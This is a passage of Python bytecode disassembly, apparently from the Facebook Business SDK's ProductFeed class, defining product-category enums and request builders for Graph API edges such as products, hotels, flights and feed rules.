'CELL_PHONES_AND_SMART_WATCHES' STORE_NAME cell_phones_and_smart_watches LOAD_CONST 'CLEANING_SUPPLIES' STORE_NAME cleaning_supplies LOAD_CONST 'CLOTHING' STORE_NAME clothing LOAD_CONST 'CLOTHING_ACCESSORIES' STORE_NAME clothing_accessories LOAD_CONST 'COMPUTERS_AND_TABLETS' STORE_NAME computers_and_tablets LOAD_CONST 'DIAPERING_AND_POTTY_TRAINING' STORE_NAME diapering_and_potty_training LOAD_CONST 'ELECTRONICS_ACCESSORIES' STORE_NAME electronics_accessories LOAD_CONST 'FURNITURE' STORE_NAME furniture LOAD_CONST 'HEALTH' STORE_NAME health LOAD_CONST 'HOME_GOODS' STORE_NAME home_goods LOAD_CONST 'JEWELRY' STORE_NAME jewelry LOAD_CONST 'NURSERY' STORE_NAME nursery LOAD_CONST 'PRINTERS_AND_SCANNERS' STORE_NAME printers_and_scanners LOAD_CONST 'PROJECTORS' STORE_NAME projectors LOAD_CONST 'SHOES_AND_FOOTWEAR' STORE_NAME shoes_and_footwear LOAD_CONST 'SOFTWARE' STORE_NAME software LOAD_CONST 'TOYS' STORE_NAME toys LOAD_CONST 'TVS_AND_MONITORS' STORE_NAME tvs_and_monitors LOAD_CONST 'VIDEO_GAME_CONSOLES_AND_VIDEO_GAMES' STORE_NAME video_game_consoles_and_video_games LOAD_CONST 'WATCHES' STORE_NAME watches LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ProductFeed.OverrideType' STORE_NAME __qualname__ LOAD_CONST 'BATCH_API_LANGUAGE_OR_COUNTRY' STORE_NAME batch_api_language_or_country LOAD_CONST 'CATALOG_SEGMENT_CUSTOMIZE_DEFAULT' STORE_NAME catalog_segment_customize_default LOAD_CONST 'COUNTRY' STORE_NAME country LOAD_CONST 'LANGUAGE' STORE_NAME language LOAD_CONST 'LANGUAGE_AND_COUNTRY' STORE_NAME language_and_country LOAD_CONST 'LOCAL' STORE_NAME local LOAD_CONST 'SMART_PIXEL_LANGUAGE_OR_COUNTRY' STORE_NAME smart_pixel_language_or_country LOAD_CONST None RETURN_VALUE LOAD_CONST 'product_feeds' RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('ProductCatalog',) IMPORT_NAME facebook_business.adobjects.productcatalog IMPORT_FROM ProductCatalog STORE_FAST ProductCatalog POP_TOP LOAD_FAST ProductCatalog LOAD_FAST self LOAD_ATTR _api LOAD_FAST parent_id LOAD_CONST ('api', 'fbid') CALL_FUNCTION LOAD_METHOD create_product_feed LOAD_FAST fields LOAD_FAST params LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_FAST pending CALL_METHOD RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP BUILD_MAP STORE_FAST param_types BUILD_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'DELETE' LOAD_CONST '/' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_GLOBAL AbstractCrudObject LOAD_CONST 'NODE' LOAD_GLOBAL ObjectParser LOAD_FAST self LOAD_CONST ('reuse_object',) CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP BUILD_MAP STORE_FAST param_types BUILD_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'GET' LOAD_CONST '/' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_GLOBAL ProductFeed LOAD_CONST 'NODE' LOAD_GLOBAL ObjectParser LOAD_FAST self LOAD_CONST ('reuse_object',) CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP LOAD_CONST 'string' LOAD_CONST 'bool' LOAD_CONST 'delimiter_enum' LOAD_CONST 'encoding_enum' LOAD_CONST 'string' LOAD_CONST 'string' LOAD_CONST 'quoted_fields_mode_enum' LOAD_CONST 'string' LOAD_CONST 'string' LOAD_CONST ('default_currency', 'deletion_enabled', 'delimiter', 'encoding', 'migrated_from_feed_id', 'name', 'quoted_fields_mode', 'schedule', 'update_schedule') BUILD_CONST_KEY_MAP STORE_FAST param_types LOAD_GLOBAL ProductFeed LOAD_ATTR Delimiter LOAD_ATTR __dict__ LOAD_METHOD values CALL_METHOD LOAD_GLOBAL ProductFeed LOAD_ATTR Encoding LOAD_ATTR __dict__ LOAD_METHOD values CALL_METHOD LOAD_GLOBAL ProductFeed LOAD_ATTR QuotedFieldsMode LOAD_ATTR __dict__ LOAD_METHOD values CALL_METHOD LOAD_CONST ('delimiter_enum', 'encoding_enum', 'quoted_fields_mode_enum') BUILD_CONST_KEY_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'POST' LOAD_CONST '/' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_GLOBAL ProductFeed LOAD_CONST 'NODE' LOAD_GLOBAL ObjectParser LOAD_FAST self LOAD_CONST ('reuse_object',) CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP LOAD_CONST 0 LOAD_CONST ('AutomotiveModel',) IMPORT_NAME facebook_business.adobjects.automotivemodel IMPORT_FROM AutomotiveModel STORE_FAST AutomotiveModel POP_TOP LOAD_CONST 'bool' LOAD_CONST 'Object' LOAD_CONST ('bulk_pagination', 'filter') BUILD_CONST_KEY_MAP STORE_FAST param_types BUILD_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'GET' LOAD_CONST '/automotive_models' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_FAST AutomotiveModel LOAD_CONST 'EDGE' LOAD_GLOBAL ObjectParser LOAD_FAST AutomotiveModel LOAD_FAST self LOAD_ATTR _api LOAD_CONST ('target_class', 'api') CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP LOAD_CONST 0 LOAD_CONST ('Destination',) IMPORT_NAME facebook_business.adobjects.destination IMPORT_FROM Destination STORE_FAST Destination POP_TOP LOAD_CONST 'bool' LOAD_CONST 'Object' LOAD_CONST ('bulk_pagination', 'filter') BUILD_CONST_KEY_MAP STORE_FAST param_types BUILD_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'GET' LOAD_CONST '/destinations' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_FAST Destination LOAD_CONST 'EDGE' LOAD_GLOBAL ObjectParser LOAD_FAST Destination LOAD_FAST self LOAD_ATTR _api LOAD_CONST ('target_class', 'api') CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP LOAD_CONST 0 LOAD_CONST ('Flight',) IMPORT_NAME facebook_business.adobjects.flight IMPORT_FROM Flight STORE_FAST Flight POP_TOP LOAD_CONST 'bool' LOAD_CONST 'Object' LOAD_CONST ('bulk_pagination', 'filter') BUILD_CONST_KEY_MAP STORE_FAST param_types BUILD_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'GET' LOAD_CONST '/flights' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_FAST Flight LOAD_CONST 'EDGE' LOAD_GLOBAL ObjectParser LOAD_FAST Flight LOAD_FAST self LOAD_ATTR _api LOAD_CONST ('target_class', 'api') CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP LOAD_CONST 0 LOAD_CONST ('HomeListing',) IMPORT_NAME facebook_business.adobjects.homelisting IMPORT_FROM HomeListing STORE_FAST HomeListing POP_TOP LOAD_CONST 'bool' LOAD_CONST 'Object' LOAD_CONST ('bulk_pagination', 'filter') BUILD_CONST_KEY_MAP STORE_FAST param_types BUILD_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'GET' LOAD_CONST '/home_listings' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_FAST HomeListing LOAD_CONST 'EDGE' LOAD_GLOBAL ObjectParser LOAD_FAST HomeListing LOAD_FAST self LOAD_ATTR _api LOAD_CONST ('target_class', 'api') CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP LOAD_CONST 0 LOAD_CONST ('Hotel',) IMPORT_NAME facebook_business.adobjects.hotel IMPORT_FROM Hotel STORE_FAST Hotel POP_TOP LOAD_CONST 'bool' LOAD_CONST 'Object' LOAD_CONST ('bulk_pagination', 'filter') BUILD_CONST_KEY_MAP STORE_FAST param_types BUILD_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'GET' LOAD_CONST '/hotels' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_FAST Hotel LOAD_CONST 'EDGE' LOAD_GLOBAL ObjectParser LOAD_FAST Hotel LOAD_FAST self LOAD_ATTR _api LOAD_CONST ('target_class', 'api') CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP LOAD_CONST 0 LOAD_CONST ('MediaTitle',) IMPORT_NAME facebook_business.adobjects.mediatitle IMPORT_FROM MediaTitle STORE_FAST MediaTitle POP_TOP LOAD_CONST 'bool' LOAD_CONST 'Object' LOAD_CONST ('bulk_pagination', 'filter') BUILD_CONST_KEY_MAP STORE_FAST param_types BUILD_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'GET' LOAD_CONST '/media_titles' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_FAST MediaTitle LOAD_CONST 'EDGE' LOAD_GLOBAL ObjectParser LOAD_FAST MediaTitle LOAD_FAST self LOAD_ATTR _api LOAD_CONST ('target_class', 'api') CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP LOAD_CONST 0 LOAD_CONST ('ProductItem',) IMPORT_NAME facebook_business.adobjects.productitem IMPORT_FROM ProductItem STORE_FAST ProductItem POP_TOP LOAD_CONST 'bool' LOAD_CONST 'error_priority_enum' LOAD_CONST 'error_type_enum' LOAD_CONST 'Object' LOAD_CONST ('bulk_pagination', 'error_priority', 'error_type', 'filter') BUILD_CONST_KEY_MAP STORE_FAST param_types LOAD_FAST ProductItem LOAD_ATTR ErrorPriority LOAD_ATTR __dict__ LOAD_METHOD values CALL_METHOD LOAD_FAST ProductItem LOAD_ATTR ErrorType LOAD_ATTR __dict__ LOAD_METHOD values CALL_METHOD LOAD_CONST ('error_priority_enum', 'error_type_enum') BUILD_CONST_KEY_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'GET' LOAD_CONST '/products' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_FAST ProductItem LOAD_CONST 'EDGE' LOAD_GLOBAL ObjectParser LOAD_FAST ProductItem LOAD_FAST self LOAD_ATTR _api LOAD_CONST ('target_class', 'api') CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP LOAD_CONST 0 LOAD_CONST ('ProductFeedRule',) IMPORT_NAME facebook_business.adobjects.productfeedrule IMPORT_FROM ProductFeedRule STORE_FAST ProductFeedRule POP_TOP BUILD_MAP STORE_FAST param_types BUILD_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'GET' LOAD_CONST '/rules' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_FAST ProductFeedRule LOAD_CONST 'EDGE' LOAD_GLOBAL ObjectParser LOAD_FAST ProductFeedRule LOAD_FAST self LOAD_ATTR _api LOAD_CONST ('target_class', 'api') CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP LOAD_CONST 0 LOAD_CONST ('ProductFeedRule',) IMPORT_NAME facebook_business.adobjects.productfeedrule IMPORT_FROM ProductFeedRule STORE_FAST ProductFeedRule POP_TOP LOAD_CONST 'string' LOAD_CONST 'map' LOAD_CONST 'rule_type_enum' LOAD_CONST ('attribute', 'params', 'rule_type') BUILD_CONST_KEY_MAP STORE_FAST param_types LOAD_CONST 'rule_type_enum' LOAD_FAST ProductFeedRule LOAD_ATTR RuleType LOAD_ATTR __dict__ LOAD_METHOD values CALL_METHOD BUILD_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'POST' LOAD_CONST '/rules' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_FAST ProductFeedRule LOAD_CONST 'EDGE' LOAD_GLOBAL ObjectParser LOAD_FAST ProductFeedRule LOAD_FAST self LOAD_ATTR _api LOAD_CONST ('target_class', 'api') CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP 